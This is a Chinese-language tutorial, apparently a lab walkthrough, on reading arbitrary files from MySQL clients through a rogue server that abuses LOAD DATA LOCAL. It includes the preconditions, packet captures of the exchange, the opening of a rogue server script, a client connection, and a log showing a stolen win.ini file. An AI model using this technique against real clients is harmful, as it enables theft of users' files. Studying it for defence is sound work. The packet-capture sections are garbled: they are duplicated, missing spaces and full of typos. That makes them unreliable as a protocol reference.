

mysql本地任意文件读取

条件

- 允许使用load data local

可通过标志位确定是否开启

```

v Server Capabilities: 0xf7ff
.... .... .1 = Long Password: Set
.... .... .1. = Found Rows: Set
.... .... .1.. = Long Column Flags: Set
.... .... 1... = Connect With Database: Set
.... .... .1 .... = Don't Allow database.table.column: Set
.... .... .1. .... = Can use compression protocol: Set
.... .... .1.. .... = ODBC Client: Set
.... .... 1... .... = Can Use LOAD DATA LOCAL: Set
.... .1 .... .... = Ignore Spaces before '(': Set
.... .1. .... .... = Speaks 4.1 protocol (new flag): Set
.... .1.. .... .... = Interactive Client: Set
.... 0... .... .... = Switch to SSL after handshake: Not set
....1 .... .... .... = Ignore sigpipes: Set
..1. .... .... .... = Knows about transactions: Set
  
```

- secure_file_priv值为空

```

mysql> show global variables like '%secure%';
+-----+-----+
| Variable_name | Value |
+-----+-----+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv |  |
+-----+-----+
3 rows in set, 1 warning (0.00 sec)

mysql>
  
```

1. 为空表示无限制
2. null表示不允许导入导出(默认值)
3. 指定文件夹,表示只能导入导出某个文件夹

原理

LOAD DATA INFILE

和select ... into outfile相反,load data infile [filename] into tables [table]用于把文件中的内容读取到表中
加上local关键字即load data local infile则是读取客户端本地的文件内容到表中

认证过程

- 认证成功
- 发送查询语句
- 回复文件传输请求

5	0.000882	192.168.96.1	192.168.96.128	MySQL	254 Login Request user=root
6	0.000961	192.168.96.128	192.168.96.1	TCP	60 3306 → 53895 [ACK] Seq=96 Ack=201 Win=64128 Len=0
7	0.001048	192.168.96.128	192.168.96.1	MySQL	65 Response OK

4	0.000192	192.168.96.128	192.168.96.1	MySQL	149 Server Unreeting proto=10 version=5.6.28-vuduntu0.14.04.1
5	0.000882	192.168.96.1	192.168.96.128	MySQL	254 Login Request user=root
6	0.000961	192.168.96.128	192.168.96.1	TCP	60 3306 → 53895 [ACK] Seq=96 Ack=201 Win=64128 Len=0
7	0.001048	192.168.96.128	192.168.96.1	MySQL	65 Response OK
8	0.001914	192.168.96.1	192.168.96.128	MySQL	91 Request Query
9	0.002149	192.168.96.128	192.168.96.1	TCP	60 3306 → 53895 [ACK] Seq=107 Ack=238 Win=64128 Len=0
10	0.002351	192.168.96.128	192.168.96.1	MySQL	77 Response TABULAR
11	0.002609	192.168.96.1	192.168.96.128	MySQL	154 Request[Malformed Packet]
12	0.003229	192.168.96.128	192.168.96.1	TCP	60 3306 → 53895 [ACK] Seq=130 Ack=338 Win=64128 Len=0
13	0.003510	192.168.96.128	192.168.96.1	MySQL	65 Response OK
14	0.004242	192.168.96.1	192.168.96.128	TCP	54 53895 → 3306 [ACK] Seq=338 Ack=141 Win=1050880 Len=0
15	5.126021	Vmware_de:40:7b	Vmware_c0:00:08	ARP	60 Who has 192.168.96.1? Tell 192.168.96.128
16	5.176709	Vmware_c0:00:08	Vmware_de:40:7b	ARP	47 192.168.96.1 is at 00:50:56:c0:00:08

Frame 8: 91 bytes on wire (728 bits), 91 bytes captured (728 bits) on interface [Device\NPF_{C66D2019-23EC-4E14-88A4-E3178DDAE3C}, Id 0 Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Vmware_de:40:7b (00:0c:29:de:40:7b)

Internet Protocol Version 4, Src: 192.168.96.1, Dst: 192.168.96.128

Transmission Control Protocol, Src Port: 53895, Dst Port: 3306, Seq: 201, Ack: 107, Len: 37

MySQL Protocol

Packet Length: 33

Packet Number: 0

Request Command Query

Command: Query (3)

Statement: select @@version comment limit 1

2 / 4

30.000306192.168.96.1192.168.96.128TCP5453895→3306[ACK]Seq=1Ack=1Win=1051136Len=0

40.000792192.168.96.128192.168.96.1MySQL149ServerGreetingproto=10version=5.6.28-0ubuntu0.14.04.1

50.000882192.168.96.1192.168.96.128MySQL254LoginRequestuser=root

60.000961192.168.96.128192.168.96.1TCP603306→53895[ACK]Seq=96Ack=201Win=64128Len=0

70.001048192.168.96.128192.168.96.1MySQL65ResponseOK

80.001914192.168.96.1192.168.96.128MySQL91RequestQuery

90.002149192.168.96.128192.168.96.1TCP603306→53895[ACK]Seq=107Ack=238Win=64128Len=0

100.002351192.168.96.128192.168.96.1MySQL77ResponseTABULAR

110.002609192.168.96.1192.168.96.128MySQL154Request[MalformedPacket]

120.003229192.168.96.128192.168.96.1TCP603306→53895[ACK]Seq=130Ack=338Win=64128Len=0

130.003510192.168.96.128192.168.96.1MySQL65ResponseOK

140.044242192.168.96.1192.168.96.128TCP5453895→3306[ACK]Seq=338Ack=141Win=1050880Len=0

155.126021Vmware_de:40:7bVmware_c0:00:08ARP60Whohas192.168.96.1?Tell192.168.96.128

165.126020Vmware_c0:00:08Vmware_de:40:7bARP42102.168.96.1isat00:50:56:c0:00:08

>Frame10:77bytesonwire(616bits),77bytescaptured(616bits)oninterface\Device\NPF_{C66D2019-23EC-4E14-88A4-2E3170DDAE3C},id0

>EthernetII,Src:Vmware_de:40:7b(00:0c:29:de:40:7b),Dst:Vmware_c0:00:08(00:50:56:c0:00:08)

>InternetProtocolVersion4,Src:192.168.96.128,Dst:192.168.96.1

>TransmissionControlProtocol,SrcPort:3306,DstPort:53895,Seq:107,Ack:238,Len:23

MySQL Protocol

PacketLength:19

PacketNumber:1

NumberofFields:0

Extradata:67

▼Payload:3a2f77696e646f77732f77696e2e696e69

▼[ExpertInfo(Warning/Undecoded):FIXME--dissectorisincomplete]

[FIXME-dissectorisincomplete]

[Severitylevel:Warning]

[Group:Undecoded]

0000005056c00000000c29de407b08004500..PV....).@{E-

0010003f03b640004006f530c0a86080c0a8..?..@..:0..

002060010cead287693a243670313e685018.....i:\$6p1>hP

003001f58782000013000001fb433a2f7769.....C:/wi

00406e646f77732f77696e2e696e69ndows/wi n.ini

客户端会直接返回相应文件内容

40.000792192.168.96.128192.168.96.1MySQL149ServerGreetingproto=10version=5.6.28-0ubuntu0.14.04.1

50.000882192.168.96.1192.168.96.128MySQL254LoginRequestuser=root

60.000961192.168.96.128192.168.96.1TCP603306→53895[ACK]Seq=96Ack=201Win=64128Len=0

70.001048192.168.96.128192.168.96.1MySQL65ResponseOK

80.001914192.168.96.1192.168.96.128MySQL91RequestQuery

90.002149192.168.96.128192.168.96.1TCP603306→53895[ACK]Seq=107Ack=238Win=64128Len=0

100.002351192.168.96.128192.168.96.1MySQL77ResponseTABULAR

110.002609192.168.96.1192.168.96.128MySQL154Request[MalformedPacket]

120.003229192.168.96.128192.168.96.1TCP603306→53895[ACK]Seq=130Ack=338Win=64128Len=0

130.003510192.168.96.128192.168.96.1MySQL65ResponseOK

140.044242192.168.96.1192.168.96.128TCP5453895→3306[ACK]Seq=338Ack=141Win=1050880Len=0

155.126021Vmware_de:40:7bVmware_c0:00:08ARP60Whohas192.168.96.1?Tell192.168.96.128

165.126020Vmware_c0:00:08Vmware_de:40:7bARP42102.168.96.1isat00:50:56:c0:00:08

>Frame11:154bytesonwire(1232bits),154bytescaptured(1232bits)oninterface\Device\NPF_{C66D2019-23EC-4E14-88A4-2E3170DDAE3C},id0

>EthernetII,Src:Vmware_c0:00:08(00:50:56:c0:00:08),Dst:Vmware_de:40:7b(00:0c:29:de:40:7b)

>InternetProtocolVersion4,Src:192.168.96.1,Dst:192.168.96.128

>TransmissionControlProtocol,SrcPort:53895,DstPort:3306,Seq:238,Ack:130,Len:100

MySQL Protocol

PacketLength:92

PacketNumber:2

▼RequestCommandUnknown(59)

Command:Unknown(59)

▼Payload:20666f722031362d6269742061707020737570706f72740d...

▼[ExpertInfo(Warning/Protocol):Unknown/invalidcommandcode]

[Unknown/invalidcommandcode]

[Severitylevel:Warning]

[Group:Protocol]

MySQL Protocol

PacketLength:0

PacketNumber:3

[MalformedPacket:MySQL]

0000000c29de407b00505dc0000808004500..).@{P.V....E-

0010008ce72f40008006d169c0a86001c0a8.../@...i...

00206000d2870ceae70313e68693a244d5018.....p1>hi:\$MP

00301009f60c00005c0000023b20666f7220.....\..;for

004031362d6269742061707020737570706f16-bitappsuppo

005072740d0a5b666f6e74735d0d0a5b6578rt..[fon ts]..[ex

006074656e73696f6e735d0d0a5b6d636920tensions]..[mci

0070657874656e73696f6e735d0d0a5b6669extension ns]..[fi

00806c65735d0d0a5b4d61696c5d0d0a4d41les]..[Mail]..MA

009050493d310d0a00000003PI=1....

复现

恶意服务器脚本

只要根据官方文档模拟字段发包即可
文件内容在脚本内指定即可


```
#!/usr/bin/env python
#coding: utf8

import socket
import asyncio
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s: %(levelname)s: %(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
    'C:/windows/win.ini',
)

#=====No need to change after this lines=====
#=====

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Can't create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    "rogue_mysql_server.py" 248L, 7512C
```

23, 14

Top

客户端使用任意用户密码连接恶意服务器:

```
>> mysql -uroot -p1111111 -h192.168.96.128
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 45
Server version: 5.6.28-0ubuntu0.14.04.1

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

恶意服务器均为返回认证成功,并在初始化查询后响应文件传输请求

恶意服务器下查看mysql.log文件得到文件内容:

```
root@kali:~/Rogue-MySQL-Server# python rogue_mysql_server.py
```

```
root@kali:~/Rogue-MySQL-Server# cat mysql.log
2020-01-19 10:23:02,625:INFO:Conn from: ('192.168.96.1', 53895)
2020-01-19 10:23:02,625:INFO:Last packet
2020-01-19 10:23:02,626:INFO:Query
2020-01-19 10:23:02,627:INFO:-- result
2020-01-19 10:23:02,627:INFO:Result: '\x02; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci_extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n'
2020-01-19 10:23:02,627:INFO:-- result
2020-01-19 10:23:02,628:INFO:Result: '\x03'
2020-01-19 10:23:02,628:INFO:Last packet
root@kali:~/Rogue-MySQL-Server# a
```